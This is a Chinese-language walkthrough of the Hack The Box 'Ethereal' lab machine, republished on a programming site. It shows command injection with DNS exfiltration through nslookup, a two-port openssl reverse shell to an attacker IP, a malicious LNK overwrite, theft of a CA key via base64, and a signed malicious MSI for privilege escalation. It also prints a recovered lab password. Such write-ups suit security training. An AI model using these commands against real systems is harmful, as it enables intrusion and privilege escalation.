Hack The Box Ethereal WriteUp

栏目: 编程工具 · 发布时间: 4年前

内容简介:大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。16位程序模拟器DOSBox

Hack The Box Ethereal WriteUp

前言

大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。

知识点

16位程序模拟器DOSBox

nslookup信息外带

利用openssl反弹shell

LNK攻击

MSI安装包的制作与签名

Ethereal实战

跳过端口扫描,相信这对大家来说没有什么难度,直接入手线索文件。

1.Ftp匿名登录

利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否则经常因为网络因素导致下载失败。

Hack The Box Ethereal WriteUp

2.解压FDISK.zip

解压后,拿到一个镜像文件。利用file命令识别,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。

Hack The Box Ethereal WriteUp

3.DosBox模拟器

16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关…进入pbox首先执行挂载mount c c:pbox,将此c:pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下:

Hack The Box Ethereal WriteUp

这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI – Get csdpmi*b.zip > 的错误。解决方式可以参考: https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。

Hack The Box Ethereal WriteUp

密码很简单,就是password,完全靠猜。进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:

user: alan

password: !C414m17y57r1k3s4g41n!!

Hack The Box Ethereal WriteUp

4.登录8080端口

获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。

Hack The Box Ethereal WriteUp

5.结合nslookup成功执行命令

需要解决的问题是如何查看回显,在 linux 环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数,筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果。例如,我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:

127.0.0.1 | for /f “tokens=2” %I in (‘netstat -ano’) do nslookup %I 10.10.8.8

有关for /f的脚本循环体介绍可以看 https://www.youtube.com/watch?v=jMS6LkMdAHI

tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可,如:

127.0.0.1 | for /f “tokens=1,2,3,4,5,6” %a in (‘type c:xxxxx.txt’) do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8

在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:

(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复)

Hack The Box Ethereal WriteUp

6.枚举防火墙规则

利用多个反弹脚本获取 shell 均失败,因此想到枚举防火墙规则。netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:userspublic目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:userspublicdesktopshortcuts,最终读取防火墙配置:仅允许TCP 73和136端口通信。

枚举权限:

127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘icacls c:userspublicDesktop*. /findsid alan /t /c /l’) do nslookup %a.%b.%c 10.10.8.8

同时,继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。

能显示较完整dir结果的命令:

127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘dir /B “C:userspublicDesktopShortcuts”‘) do nslookup %a.%b.%c 10.10.8.8

7.openssl初探

openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网 https://www.openssl.org 可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过 http://slproweb.com/products/Win32OpenSSL.html 下载。安装过程就是一路next不再赘述。

Hack The Box Ethereal WriteUp

8.openssl证书生成及服务器搭建

openssl服务器用于接收反弹shell。在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写

对命令参数有疑问的可以参考IBM文档:

https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html

Hack The Box Ethereal WriteUp

9.第一个反弹shell

利用目标机openssl的s_client连接kali服务器。在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:

openssl s_client 1 ——>input | cmd.exe | openssl s_client 2 ——>output

这也是为什么防火墙规则要放行两个端口的原因。

转化为web端的RCE命令即:

10.10.8.8 | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)

注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73

openssl s_server -quiet -key key.pem -cert cert.pem -port 136

我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果:

Hack The Box Ethereal WriteUp

10.alan桌面的线索

在获取一个低权限的shell以后,我们能在c:usersalanDesktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。

Hack The Box Ethereal WriteUp

11.LNK攻击

根据线索,这是一个很典型的LNK攻击。LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址: https://github.com/Plazmaz/LNKUp

命令格式:

python generate.py —host localhost —type ntlm —output out.lnk —execute

“C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:Progra~2OpenSSLv1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136”

生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。

Hack The Box Ethereal WriteUp

上传恶意快捷方式,并覆盖c:userspublicdesktopshortcutsVisual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。

kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt

web运行:10.10.8.8|C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 > c:userspublicdesktopshortcutsout.txt(注意上传成功后改回后缀)

重新建立shell连接

shell运行:del “c:userspublicdesktopshortcutsVisual Studio 2017.lnk” & copy “c:userspublicdesktopshortcutsout.lnk” “c:userspublicdesktopshortcutsVisual Studio 2017.lnk”

Hack The Box Ethereal WriteUp

12.拿下User Flag

覆盖LNK成功后,会在很短的时间内获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73端口输入,在136端口中查看结果,操作顺畅不少,在jorge用户桌面拿到user.txt

Hack The Box Ethereal WriteUp

13.D盘中的新线索

继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi。

Hack The Box Ethereal WriteUp

14.获取证书

直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:

C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.cer

C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.pvk

将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。

Hack The Box Ethereal WriteUp

15.生成恶意msi

我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写反弹命令后就可以Create MSI Package了。(密码留空)

Hack The Box Ethereal WriteUp

16.对msi签名

利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:

.NET Framework 4 : https://www.microsoft.com/en-us/download/details.aspx?id=17851

winsdk: https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279

安装好后,就可以开始签名了,命令依次如下:

makecert -n “CN=Ethereal” -pe -cy end -ic C:MyCA.cer -iv C:MyCA.pvk -sky signature -sv C:hack.pvk C:hack.cer

pvk2pfx -pvk C:hack.pvk -spc C:hack.cer -pfx C:hack.pfx

signtool sign /f C:hack.pfx C:shell.msi

如果签名成功,可以看到Successfully singed提示

Hack The Box Ethereal WriteUp

17.上传恶意msi

将签名后的msi上传至d:devmsisshell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt

Hack The Box Ethereal WriteUp

18.备注

若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。

Hack The Box Ethereal WriteUp

结语和感悟

就个人而言,我感觉Ethereal的难点在于如何想到双端口反弹shell,跨过这个槛,我也在htb的论坛上请教了不少朋友,大家集思广益从防火墙策略等一系列线索出发分析、思考,当然也少不了本地模拟环境的搭建和尝试,所以交流很重要,勤动手多实践才是出真知的唯一途径。

最后希望有兴趣的同学一起来HTB,若有问题和不对之处大家可以简书“小猪配不齐”告知。

Hack The Box Ethereal WriteUp

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms for Image Processing and Computer Vision

Algorithms for Image Processing and Computer Vision

Parker, J. R. / 2010-12 / 687.00元

A cookbook of algorithms for common image processing applications Thanks to advances in computer hardware and software, algorithms have been developed that support sophisticated image processing with......一起来看看 《Algorithms for Image Processing and Computer Vision》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码